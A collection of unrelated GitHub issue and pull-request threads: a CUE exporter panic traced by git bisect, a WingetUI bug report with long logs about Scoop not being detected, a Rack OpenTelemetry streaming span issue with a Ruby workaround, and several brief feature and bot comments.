Bisecting: 4 revisions left to test after this (roughly 2 steps)
[1c9a3b26939456a729de38c7e31a20f4f5693bb7] internal/core/export: avoid introducing shadowing
cue % git bisect bad                                                          [:1c9a3b2|BISECT 8; 3 steps L|✔]
Bisecting: 1 revision left to test after this (roughly 1 step)
[0e1608456fd9df41b27d05bba7f97d25881bce63] cue: more support for required fields for selectors
cue % git bisect good                                                         [:0e16084|BISECT 3; 1 steps L|✔]
Bisecting: 0 revisions left to test after this (roughly 0 steps)
[102150dedd937090ffee149b1675ff1b0bef89cc] internal/tdtest: new table-driven test package
cue % git bisect good                                                         [:102150d|BISECT 2; 1 steps L|✔]
1c9a3b26939456a729de38c7e31a20f4f5693bb7 is the first bad commit
commit 1c9a3b26939456a729de38c7e31a20f4f5693bb7
Author: Marcel van Lohuizen<EMAIL_ADDRESS>Date:   Wed Apr 5 11:13:04 2023 +0200

    internal/core/export: avoid introducing shadowing

    The solution is to unconditionally link Ident.Node fields with
    their resolution, allowing the sanitizer to unshadow.
    The exporter is becoming quite a mess and is due for an
    overhaul. The implementation should be notably easier with the
    upcoming evaluator overhaul, so it seems a waste to do that now.

    Fixes #2311

    Signed-off-by: Marcel van Lohuizen<EMAIL_ADDRESS>    Change-Id: I38d2c010814e5d97424d72890da002bb1c6ef2cb
    Reviewed-on: https://review.gerrithub.io/c/cue-lang/cue/+/552252
    Reviewed-by: Roger Peppe<EMAIL_ADDRESS>    Unity-Result: CUEcueckoo<EMAIL_ADDRESS>    TryBot-Result: CUEcueckoo<EMAIL_ADDRESS>
 internal/core/export/adt.go                     |  43 +++-
 internal/core/export/export.go                  |  54 ++++-
 internal/core/export/expr.go                    |   2 +
 internal/core/export/testdata/main/shadow.txtar | 308 +++++++++++++++++-------
 4 files changed, 323 insertions(+), 84 deletions(-)

@mvdan I identified the panic point in the code. On my branch
fix-issue-2584 I added a fix and a txtar script that checks it.
Would this be good enough for a pull request?

We looked at this fix together; I can't say for sure if it's the best one, but like Marcel said in the commit message that you bisected the panic to, the exporter is due for an overhaul and it's a bit messy. And it's his added fix that introduced this panic. Plus, I verified that your fix doesn't break any other tests.
For all the reasons above, I'm inclined to merge your nil check fix with the test. Can you send a PR or CL per https://github.com/cue-lang/cue/blob/master/CONTRIBUTING.md?
Please add the test via internal/core/export/testdata, since that's a better place for export tests than cmd/cue/cmd. You can find a recent example where a fix added a test in 24f3fb310302afea643e19087876e7836afd2e5c.

Also, you can use CUE_UPDATE=1 go test to update the output in the testdata file once you've added the CUE input source and fixed the bug.

Came here to raise a nil pointer deref issue, found this bug and it looks like it fixes my problems too.
exec cue eval in.cue

-- in.cue --
_ref: { name: string }

let genName= "\(_ref.name)-suffix"
let innerObj = {
	gen:   genName
}
name: genName
inner: innerObj


Validity of the whole form

Hi,
Can you add a property or method to the ValidatorForm to see if the whole form is valid or not.
Something like
isValid=()=> {   this.childs.map(child => {   if(child.isValid)   {     return true   }   });   return false }

From version 0.4.3 you can use isFormValid method

@NewOldMax Thanks

@arosas-atix
<ValidatorForm
    ref={r => (this.form = r)}
>

...

this.form.isFormValid();


[Feature Request] Export Layers Separately (DAE)

When exporting as a collada file, there should be an option to create layers as separate objects.
This will make it a lot easier to animate (instead of having to re-do the export for every layer, it would be a one step process)

Implemented with
https://github.com/simlu/voxelshop/commit/41d3a6d0994ee250a769d60c3726ed326c14a880


fix return value as pointer in scalar bin ops

Scalar bin ops requires creating a pointer to a scalar when returning the same value type.

Coverage increased (+0.04%) to 63.64% when pulling c606b82a457ade499c957706f9de22b3c610fd1c on pbarker:pointwise into 1fda08736b1875d97c0f600503fff5d4316c676f on gorgonia:master.

Coverage increased (+0.04%) to 63.64% when pulling c606b82a457ade499c957706f9de22b3c610fd1c on pbarker:pointwise into 1fda08736b1875d97c0f600503fff5d4316c676f on gorgonia:master.


Fine-tuning

Great job! Do you have any code for fine-tuning?

i think you can finetune this model using hugging face SFT or Trainer. It should follow that format since its a hugging face format


feat(ui): add percentage in model list

Implementations:

add percentage in model list

No vulnerabilities detected
No vulnerabilities with HIGH,CRITICAL severity have been detected in the code.


chore(stable): Bump stable to 3.5.9

:tada: This PR is included in version 3.5.10 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


titel of document

The document has
MLPerf in the title,
should it be now MLCommon?
Is there a different document?

It's correct.


[BUG] Scoop was not found on WingetUI 3.x, works fine on 2.2

Please confirm these before moving forward

[X] I have searched for my issue and have not found a work-in-progress/duplicate/resolved issue.
[X] I have tested that this issue has not been fixed in the latest (beta or stable) release.
[X] I have checked the FAQ section for solutions
[X] This issue is about a bug (if it is not, please use the correct template)

Describe your issue
When using any 3.x version of WingetUI it says "Scoop was not found".
Using version 2.2 it works totally fine.
Steps to reproduce the issue
No response
WingetUI Log
Welcome to WingetUI Version 3.0.0
               Version Code 3
C:\Users\uXp\AppData\Local\WingetUI\CachedLangFiles\lang_en.json
Loaded language locale: en
Api auth token: v8ad7ljwsyyhzfhk88m5f60yam4d95wdkzq3wpkxmpumxmwlbpofc6jb0dvducye
Starting update check
Api running on http://localhost:7058
System.Net.WebException: The remote server returned an error: (404) Not Found.
   at System.Net.HttpWebRequest.EndGetResponse(IAsyncResult asyncResult)
   at System.Net.WebClient.GetWebResponse(WebRequest request, IAsyncResult result)
   at System.Net.WebClient.GetWebResponseTaskAsync(WebRequest request)
   at System.Net.WebClient.DownloadBitsAsync(WebRequest request, Stream writeStream, AsyncOperation asyncOp, Action`3 completionDelegate)
   at ModernWindow.Core.Data.LanguageEngine.UpdateLanguageFile(String LangKey) in Y:\WingetUI-Store\src\wingetui\Core\Data\LanguageData.cs:line 103
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀▀▀▀▀ MANAGER LOADED ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
█ Name: Npm
█ Enabled: False
█ THE MANAGER IS DISABLED
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
Downloaded icons and screenshots successfully!
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀▀▀▀▀ MANAGER LOADED ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
█ Name: .NET Tool
█ Enabled: False
█ THE MANAGER IS DISABLED
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀▀▀▀▀ MANAGER LOADED ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
█ Name: Winget
█ Enabled: False
█ THE MANAGER IS DISABLED
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
Updates found, downloading installer...
Current version: 3
Latest version : 3.02
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀▀▀▀▀ MANAGER LOADED ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
█ Name: Scoop
█ Enabled: True
█ Found: False
█ THE MANAGER WAS NOT FOUND.  All managers loaded. Proceeding to interface.
Invalid value for UpdatesCheckInterval, using default value of 3600 seconds
Waiting for mainWindow to be hidden

🟢 Using cached lang file
🟡 Using bundled lang file (forced=True)
🔵 It took 0.006512165069580078 to load all language files
🟢 checkQueue Thread started!
🟡 Chocolatey was not found on the default location, perhaps a portable WingetUI installation?
---------------------------------------------------------------------------------------------------

   WingetUI version 2.2.0 (version number 2.2) log
   All modules loaded successfully and sys.stdout patched correctly, starting main script
   Translator function language set to "en"

---------------------------------------------------------------------------------------------------

 Log legend:
 🔵: Verbose
 🟢: Information
 🟡: Warning
 🟠: Handled unexpected exception
 🔴: Unhandled unexpected exception

🔴  Traceback (most recent call last):

🔴  Traceback (most recent call last):

🔴    File ".\Core\Tools.py", line 482, in updateLangFile

🔴    File ".\Core\Tools.py", line 482, in updateLangFile

🔴    File "urllib\request.py", line 216, in urlopen

🔴    File "urllib\request.py", line 216, in urlopen

🔴    File "urllib\request.py", line 525, in open

🔴    File "urllib\request.py", line 525, in open

🔴    File "urllib\request.py", line 634, in http_response

🔴    File "urllib\request.py", line 634, in http_response

🔴    File "urllib\request.py", line 563, in error

🔴    File "urllib\request.py", line 563, in error

🔴    File "urllib\request.py", line 496, in _call_chain

🔴    File "urllib\request.py", line 496, in _call_chain

🔴    File "urllib\request.py", line 643, in http_error_default

🔴    File "urllib\request.py", line 643, in http_error_default

🔴  urllib.error.HTTPError: HTTP Error 404: Not Found

🔴  urllib.error.HTTPError: HTTP Error 404: Not Found

🔴
During handling of the above exception, another exception occurred:

🔴
During handling of the above exception, another exception occurred:

🔴  Traceback (most recent call last):

🔴  Traceback (most recent call last):

🔴    File ".\Core\Tools.py", line 484, in updateLangFile

🔴    File ".\Core\Tools.py", line 484, in updateLangFile

🔴    File "urllib\request.py", line 216, in urlopen

🔴    File "urllib\request.py", line 216, in urlopen

🔴    File "urllib\request.py", line 525, in open

🔴    File "urllib\request.py", line 525, in open

🔴    File "urllib\request.py", line 634, in http_response

🔴    File "urllib\request.py", line 634, in http_response

🔴    File "urllib\request.py", line 563, in error

🔴    File "urllib\request.py", line 563, in error

🔴    File "urllib\request.py", line 496, in _call_chain

🔴    File "urllib\request.py", line 496, in _call_chain

🔴    File "urllib\request.py", line 643, in http_error_default

🔴    File "urllib\request.py", line 643, in http_error_default

🔴  urllib.error.HTTPError: HTTP Error 404: Not Found

🔴  urllib.error.HTTPError: HTTP Error 404: Not Found

🔴 Note this traceback was caught by reporter and has been added to the log (HTTP Error 404: Not Found)
🔵 Starting main application...
🔵 Looking for alive instances...
🔵 Starting API with random session authentication token ac3d0311fc8980690f012d4afa7791fbb6603d1bc11f7ed5e24829b3f33fec47
🟡 Found lock file(s), reactivating...
🔵 Reloading Scoop sources...
🔵 Loading WingetUI AUMID...
🟢 Downloaded latest metadata to local file from url https://raw.githubusercontent.com/marticliment/WingetUI/main/WebBasedData/screenshot-database-v2.json
🔵 Loaded metadata from local file
🔴  Traceback (most recent call last):

🔴  Traceback (most recent call last):

🔴    File ".\Interface\Application.py", line 222, in getAUMID

🔴    File ".\Interface\Application.py", line 222, in getAUMID

🔴  IndexError: list index out of range

🔴  IndexError: list index out of range

🔴 Note this traceback was caught by reporter and has been added to the log (list index out of range)
🔵 Reactivation signal ignored: RaiseWindow_[1713732249.491495]
{'sudoFound': True, 'sudoVersion': 'gsudo v2.0.4 (Branch.tags-v2.0.4.Sha.506efa024af0cef6e4b0cfec42e0c8c5d0b1472c)\r', 'WingetFound': False, 'WingetVersion': 'Winget is disabled', 'ChocolateyFound': False, 'ChocolateyVersion': 'Chocolatey is disabled', 'PipFound': False, 'PipVersion': 'Pip is disabled', 'NpmFound': False, 'NpmVersion': 'Npm is disabled', '.NET ToolFound': False, '.NET ToolVersion': '.NET Tool is disabled', 'PowerShellFound': False, 'PowerShellVersion': 'PowerShell is disabled', 'ScoopFound': True, 'ScoopVersion': "Current Scoop version: 105e4161 chore(release): Bump to version 0.4.0 (#5424)  'main' bucket: ce7b105b0 oxipng: Update to version 9.1.0  'extras' bucket: 14469c070 telegram-downloader: Update to version 0.17.0  'versions' bucket: f63d8779e swift-nightly: Update to version 20240421.3  'java' bucket: 04ec327c temurin22-jre: Update to version 22.0.1-8  'games' bucket: 3dcba5e7a ryujinx: Update to version 1.1.1290  'Deide_deide-bucket' bucket: 197373b duckstation: Fix version regex  'okibcn_ScoopMaster' bucket:  "}
🔵 Reached main ui load milestone
🟢 Discover tab loaded successfully
🟢 Total packages: 0
🟢 Update tab loaded successfully
🟢 Searching for string ""
🔵 Reloading sources...
🔵 Reloading Winget sources...
🟢 Uninstall tab loaded successfully
🔵 Starting Scoop search for installed packages
🟢 Searching for string ""
🔵 Starting Winget source search...
🔵 Starting Scoop source search...
🔵 Starting Chocolatey source search...
🔵 Starting PowerShell source search...
🟢 Settings tab loaded!
🟢 Winget source search finished with 0 sources
🟢 Chocolatey source search finished with 0 sources
🟢 About tab loaded!
🔵 Reloading Scoop sources...
🟢 Main application loaded...
🟢 Scoop source search finished with 0 sources
🟢 Total packages: 0
Traceback (most recent call last):
  File ".\Interface\CustomWidgets\InstallerWidgets.py", line 669, in <lambda>
TypeError: 'NoneType' object is not callable
Traceback (most recent call last):
  File ".\Interface\CustomWidgets\InstallerWidgets.py", line 669, in <lambda>
TypeError: 'NoneType' object is not callable
Traceback (most recent call last):
  File ".\Interface\CustomWidgets\InstallerWidgets.py", line 669, in <lambda>
TypeError: 'NoneType' object is not callable
🟢 PowerShell source search finished with 1 sources
🟢 Scoop search for installed packages finished with 77 result(s)
🟢 Searching for string ""
🟢 Searching for string ""
🟢 Total packages: 77
🔵 Starting Scoop search for updates
🟢 Scoop search for updates finished with 20 result(s)
🟢 Searching for string ""
🟢 Searching for string ""
🟡 Can't get custom interval time! (got value was '')
🟢 Total packages: 6
🔵 Loading WingetUI log...
🔵 Copying log to the clipboard...
🔵 Loading WingetUI log...

Package Managers Logs
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀ [21/04/2024 22:50:52] Winget ▀▀▀▀▀▀▀▀▀▀▀
█  Executable: S:\WingetUI3\PackageEngine\Managers\winget-cli_x64\winget.exe
█  Arguments:  source list
Name    Argument
-----------------------------------------------------
msstore https://storeedgefd.dsx.mp.microsoft.com/v9.0
winget  https://cdn.winget.microsoft.com/cache
[21/04/2024 22:50:52] Exit Code: 0
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀ [21/04/2024 22:50:53] Chocolatey ▀▀▀▀▀▀▀▀▀▀▀
█  Executable: S:\WingetUI3\choco-cli\choco.exe
█  Arguments:  source list
Chocolatey v2.2.2
Directory 'S:\apps\wingetui\current\choco-cli\lib' does not exist.
chocolatey - https://community.chocolatey.org/api/v2/ | Priority 0|Bypass Proxy - False|Self-Service - False|Admin Only - False.
[21/04/2024 22:50:53] Exit Code: 0
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀ [21/04/2024 22:50:54] PowerShell ▀▀▀▀▀▀▀▀▀▀▀
█  Executable: C:\Windows\system32\windowspowershell\v1.0\powershell.exe
█  Arguments: -NoProfile -Command Get-PSRepository
Name                      InstallationPolicy   SourceLocation
----                      ------------------   --------------
PSGallery                 Untrusted            https://www.powershellgallery.com/api/v2
[21/04/2024 22:50:54] Exit Code: 0
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀ [21/04/2024 22:50:54] Winget ▀▀▀▀▀▀▀▀▀▀▀
█  Executable: S:\WingetUI3\PackageEngine\Managers\winget-cli_x64\winget.exe
█  Arguments:  source list
Name    Argument
-----------------------------------------------------
msstore https://storeedgefd.dsx.mp.microsoft.com/v9.0
winget  https://cdn.winget.microsoft.com/cache
[21/04/2024 22:50:54] Exit Code: 0
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀ [21/04/2024 22:50:55] Chocolatey ▀▀▀▀▀▀▀▀▀▀▀
█  Executable: S:\WingetUI3\choco-cli\choco.exe
█  Arguments:  source list
Chocolatey v2.2.2
Directory 'S:\apps\wingetui\current\choco-cli\lib' does not exist.
chocolatey - https://community.chocolatey.org/api/v2/ | Priority 0|Bypass Proxy - False|Self-Service - False|Admin Only - False.
[21/04/2024 22:50:55] Exit Code: 0
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
█▀▀▀▀▀▀▀▀▀ [21/04/2024 22:50:55] PowerShell ▀▀▀▀▀▀▀▀▀▀▀
█  Executable: C:\Windows\system32\windowspowershell\v1.0\powershell.exe
█  Arguments: -NoProfile -Command Get-PSRepository
Name                      InstallationPolicy   SourceLocation
----                      ------------------   --------------
PSGallery                 Untrusted            https://www.powershellgallery.com/api/v2
[21/04/2024 22:50:55] Exit Code: 0

Outputs from package managers on the current session:
 ---------Scoop
Installed apps:

Name                     Version               Source                     Updated             Info
----                     -------               ------                     -------             ----
7zip                     23.01                 main                       2023-08-07 21:18:20
audacity                 3.4.2                 extras                     2023-11-30 14:35:21
autohotkey               2.0.12                extras                     2024-04-10 19:00:37
avidemux                 2.8.1                 extras                     2023-08-06 13:08:31
borderlessgaming         9.5.6                 Deide_deide-bucket         2024-04-19 16:22:03
Cinebench-R15            15.0                  AkariiinMKII_Scoop4kariiin 2023-08-07 21:21:27
Cinebench-R20            20.060                AkariiinMKII_Scoop4kariiin 2023-08-07 21:21:57
Cinebench-R23            23.200                AkariiinMKII_Scoop4kariiin 2023-08-07 21:22:33
cpu-z                    2.09                  extras                     2024-01-19 18:44:52
cru                      1.5.2                 extras                     2024-03-14 09:26:18
crystaldiskinfo          9.2.3                 extras                     2024-02-19 10:33:15
crystaldiskmark          8.0.5                 extras                     2024-02-25 10:21:15
dark                     3.14                  main                       2024-02-25 10:21:17
defraggler               2.22.995              extras                     2023-08-24 10:51:17
dshidmini                2.2.282.0             okibcn_ScoopMaster         2024-02-25 12:45:59
dupeguru                 4.3.1                 extras                     2024-02-11 20:18:13
dxwnd                    2.06.03               extras                     2024-03-13 11:52:22
ffmpeg                   7.0                   main                       2024-04-10 19:01:01
firefox                  125.0.1               extras                     2024-04-19 11:02:10
geekbench                6.3.0                 extras                     2024-04-14 21:30:10
gimp                     2.10.36-1             extras                     2024-03-01 15:43:38
git                      2.44.0                main                       2024-02-25 10:21:31
gpu-z                    2.58.0                extras                     2024-04-10 19:01:09
handbrake                1.7.3                 extras                     2024-02-19 10:33:27
hwinfo                   8.00-5400             extras                     2024-04-10 19:01:19
imdisk                   2.1.1                 okibcn_ScoopMaster         2023-11-16 13:02:12
innounp                  0.50                  main                       2024-02-19 11:03:44
jdownloader              nightly-20230806      versions                   2023-08-06 15:44:37
joplin                   2.13.15               anderlli0053_DEV-tools-    2024-04-16 12:38:45
kdenlive                 24.02.2               extras                     2024-04-16 09:17:32
libreoffice              24.2.2                extras                     2024-04-10 19:03:11
LivelyWallpaper-Portable <IP_ADDRESS>               ACooper81_scoop-apps       2023-11-03 12:57:07
losslesscut              3.59.1                extras                     2024-01-11 08:39:48
magpie                   0.10.6                extras                     2024-03-05 16:14:05
makemkv                  1.17.6                extras                     2024-01-23 08:47:34
mkvtoolnix               83.0                  extras                     2024-03-13 11:52:47
monitorian               4.3.0                 okibcn_ScoopMaster         2023-09-17 22:33:39
mp3directcut             2.36                  extras                     2023-08-06 13:12:23
mp3tag                   3.25                  extras                     2024-04-10 19:03:13
mpv.net                  <IP_ADDRESS>               extras                     2024-04-14 21:36:50
obs-studio               30.1.2                extras                     2024-04-10 19:03:50
ontopreplica             3.5.1-fix             extras                     2024-04-18 18:52:43
plex-server              <IP_ADDRESS>95-c67dce28e main                       2024-04-19 17:04:17
powertoys                0.80.1                extras                     2024-04-12 14:35:53
putty                    0.81                  extras                     2024-04-16 09:17:33
python                   3.12.2                main                       2024-02-19 10:35:35
qtifw                    4.7.0                 main                       2024-02-21 08:32:41
r                        4.3.3                 main                       2024-03-01 15:45:55
rstudio                  2023.12.1-402         extras                     2024-02-19 10:36:16
rtss                     7.3.6                 extras                     2024-04-10 19:06:08
rufus                    4.4                   extras                     2024-01-19 18:45:29
scoop-search             1.4.1                 main                       2024-04-19 17:27:22
scrcpy                   2.4                   main                       2024-03-05 16:14:51
shutup10                 1.9.1436              extras                     2023-11-03 12:58:22
ssd-z                    16.09.09              extras                     2023-08-06 13:18:16
subtitleedit             4.0.5                 extras                     2024-04-14 21:30:21
sudo                     0.2020.01.26          anderlli0053_DEV-tools     2024-04-15 16:49:26
sunshine                 0.23.0                extras                     2024-04-15 21:16:42
temurin8-jre             8.0.402-6             java                       2024-01-23 08:47:53
UltimateWindowsTweaker   5.1                   JesseRacine_myscoop        2023-08-23 19:36:49
ungoogled-chromium       123.0.6312.105-1.1    extras                     2024-04-10 19:05:15
ventoy                   1.0.97                extras                     2024-01-24 14:26:07
virtualbox               7.0.14                okibcn_ScoopMaster         2024-03-07 16:03:43
vlc                      3.0.20                extras                     2023-11-03 12:58:57
vscodium                 <IP_ADDRESS>04          extras                     2024-04-14 21:34:40
win10_brightnessslider   1.7.15                extras                     2023-08-06 16:03:58
winmerge                 2.16.38               extras                     2024-02-19 10:36:23
winrar                   7.00                  extras                     2024-03-01 15:46:15
wireguard                0.5.3                 okibcn_ScoopMaster         2024-03-20 14:27:05
wireshark                4.2.4                 extras                     2024-04-10 19:05:44
wizfile                  3.09                  extras                     2023-08-06 13:18:19
wiztree                  4.19                  extras                     2024-03-05 16:14:56
wxmp3gain                4.0                   okibcn_ScoopMaster         2023-09-14 22:54:17
yumi                     <IP_ADDRESS>               extras                     2023-08-06 13:22:40
yumi-exfat               <IP_ADDRESS>               extras                     2024-02-19 10:37:08
yumi-uefi                <IP_ADDRESS>               extras                     2023-08-06 13:37:07---------Scoop
fatal: 'origin' does not appear to be a git repository
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: ambiguous argument 'HEAD..origin/master': unknown revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git <command> [<revision>...] -- [<file>...]'

Name                     Installed Version  Latest Version     Missing Dependencies Info
----                     -----------------  --------------     -------------------- ----
autohotkey               2.0.12             2.0.13
Cinebench-R15            15.0                                                       Manifest removed
Cinebench-R20            20.060                                                     Manifest removed
Cinebench-R23            23.200                                                     Manifest removed
dshidmini                2.2.282.0                                                  Manifest removed
gpu-z                    2.58.0             2.59.0
imdisk                   2.1.1                                                      Manifest removed
joplin                   2.13.15                                                    Manifest removed
LivelyWallpaper-Portable <IP_ADDRESS>                                                    Manifest removed
monitorian               4.3.0                                                      Manifest removed
python                   3.12.2             3.12.3
sudo                     0.2020.01.26                                               Manifest removed
sunshine                 0.23.0             0.23.1
temurin8-jre             8.0.402-6          8.0.412-8
UltimateWindowsTweaker   5.1                                                        Manifest removed
ungoogled-chromium       123.0.6312.105-1.1 123.0.6312.122-1.1
virtualbox               7.0.14                                                     Manifest removed
wireguard                0.5.3                                                      Manifest removed
wxmp3gain                4.0                                                        Manifest removed

Relevant information
No response
Screenshots and videos
No response

Please share logs of version 3.X

Hm? Both the WingetUI and Packet Manager logs are already there for 3.0.0 (same result on 3.0.1 and 3.0.2) and 2.2.

Sorry, I didn't see them.
What happens when you run the command where scoop on a command prompt?

C:\Users\uXp>where scoop
S:\shims\scoop
S:\shims\scoop.cmd

How did you install scoop?

I have the same issue. I have changed the environment variable and installed scoop in a custom path.

same here, (fresh windows 11 23H2 installation)

Here is the log, just in case.
WingetUI Log.txt

same here, (fresh windows 11 23H2 installation), too
WingetUI 日志.txt

You have scoop added on user path or on system path?

sure, i did

No, I was asking on which path do you have scoop, user OR system path

I fixed it but it tooks me several times uninstalling reinstalling scoop with different methods, I don't recollect which one who solved the issue but I still have a problem since I am transfering folders of scoop from the old OS, after forcing a reinstall in order to have their shortcuts created and everything as before, WingetUI show some version as Manifest.

Same issue here, I installed Scoop directly from WinGetUI on a pretty fresh Windows installation, but it isn't recognized. I tried rebooting, adding Scoop to system path (it was already added to user path), I have no clue what to do to get it working. If I invoke scoop through any terminal window it works, it's just WinGetUI that doesn't recognize it.

@ipisano commented on May 20, 2024, 1:14 PM EDT:

Same issue here, I installed Scoop directly from WinGetUI on a pretty fresh Windows installation, but it isn't recognized. I tried rebooting, adding Scoop to system path (it was already added to user path), I have no clue what to do to get it working. If I invoke scoop through any terminal window it works, it's just WinGetUI that doesn't recognize it.

Originally posted by @ipisano in https://github.com/marticliment/WingetUI/issues/2157#issuecomment-2120863030

I partially fixed my problem by deleting the scoop folder inside the app scoop/apps then reinstalled it via WingetUI but it took several attempts in order to make it recognize scoop! Still this doesn't seem to be very reliable since when searching with apps it doesn't show those who are in scoop buckets but the updates somehow work!

Same issue. I found it in v3.0.2.
No matter how I uninstall and reinstall it is not recognized.
I have given up using scoop in WingetUI.


Run prepare release

With @LilyAndres runing make prepare release to create all the files from the edit.

command:
sudo ./run.sh make prepare_release

This worked, however it doesn't reason as I expected for the concentration terms, looking more into it other ontologies such as ENVO have the same workflow and don't seem to have ELK run to make a nicer hierarchy. There is probably a way to fix this using robot's reason command so we will do that in the future.


Update DG with statement command

Part of #13

Codecov Report
Base: 72.15% // Head: 72.15% // No change to project coverage :thumbsup:

Coverage data is based on head (e656fdd) compared to base (c655915).
Patch has no changes to coverable lines.

Additional details and impacted files
@@            Coverage Diff            @@
##             master      #49   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Streaming causes spans to be orphaned

Description of the bug
I'm using https://github.com/activeadmin/activeadmin/tree/v2.9.0 to allow for downloading CSVs. Digging into their source code, I noticed the response is streamed back to the client. I suspect the Rack OpenTelemtery gem is closing the root span without waiting for the request body io stream to finish, because I'm collecting orphaned spans.

Share details about your runtime
Operating system details: Mac OSX 12
RUBY_ENGINE: "ruby"
RUBY_VERSION: "3.1.3"
RUBY_DESCRIPTION: "ruby 3.1.3p185 (2022-11-24 revision 1a6b16756e) [arm64-darwin21]"
Share a simplified reproduction if possible
I suspect setting up an ActiveAdmin app with CSV downloads + OpenTelemetry might be enough. If a demo app is required, I'll have to create one later.

I was able to solve the problem by manually managing the spans and context and wrapping the response with a Rack::BodyProxy allowing me to close everything up when the stream was also closed.
TBH, it's hideous but it works, POC:
tokens = []
begin
  tokens << ::OpenTelemetry::Context.attach(
    frontend_context || extracted_context,
  )
  request_span =
    tracer.start_span(
      request_span_name,
      attributes: request_span_attributes(env: env),
      kind: request_span_kind,
    )
  request_span_context =
    ::OpenTelemetry::Trace.context_with_span(request_span)
  tokens.unshift(
    ::OpenTelemetry::Context.attach(request_span_context),
  )
  rack_span_context =
    ::OpenTelemetry::Instrumentation::Rack.context_with_span(
      request_span,
    )
  tokens.unshift(::OpenTelemetry::Context.attach(rack_span_context))
  status, headers, response = @app.call(env)

  proxied_body =
    ::Rack::BodyProxy.new(response) do
      tokens.each { |token| ::OpenTelemetry::Context.detach(token) }
      set_attributes_after_request(
        request_span,
        status,
        headers,
        response,
      )
      request_span.finish
    end
  [status, headers, proxied_body]
rescue Exception => e
  request_span&.record_exception(e)
  request_span&.finish
  tokens.each { |token| ::OpenTelemetry::Context.detach(token) }
  raise
end

I'd be happy to submit a PR if yall thinks this is an acceptable direction.

The latest version of the Rack instrumentation attempts to address this issue by using the Rack::Events API instead of Rack Middleware.
There's an option you may set use_rack_events: true to enable it.
I haven't had the opportunity yet to run this under a production workload so I'm not sure how it performs.
If you're willing to give this a try and report back any issues I'd appreciate it!

Ah very nice, I need to familiarize myself with the Events API. I'll take a gander at your PR: https://github.com/open-telemetry/opentelemetry-ruby-contrib/pull/342 -- If you have any other resources please send them over 🙏

hey @arielvalentin I tried using Rack::Events and discovered we're missing some labels.
Let me explain...
The way I've set up our middleware chain is like so:
OpenTelemetry::Instrumentation::Rack::Middlewares::TracerMiddleware
Custom::Labeler

This way we can add labels to the spans without changing our application codebase. However, it appears the labels added by our Custom::Labeler are now missing. I suspect it is because


[BUG] ShortType spark schema not supported in azure cosmos spark

Describe the bug
If a column in the input dataframe is spark ShortType, the process of writing into cosmos fails with:
 java.lang.Exception: Cannot cast 50 into a Json value. ShortType

Exception or Stack Trace
TaskSetManager: Lost task 1.0 in stage 135.0 (TID 195, <IP_ADDRESS>, executor 4): java.lang.Exception: Cannot cast 50 into a Json value. ShortType has no matching Json value.
at com.azure.cosmos.spark.CosmosRowConverter.convertSparkDataTypeToJsonNodeNonNull(CosmosRowConverter.scala:343)
at com.azure.cosmos.spark.CosmosRowConverter.convertSparkDataTypeToJsonNode(CosmosRowConverter.scala:183)
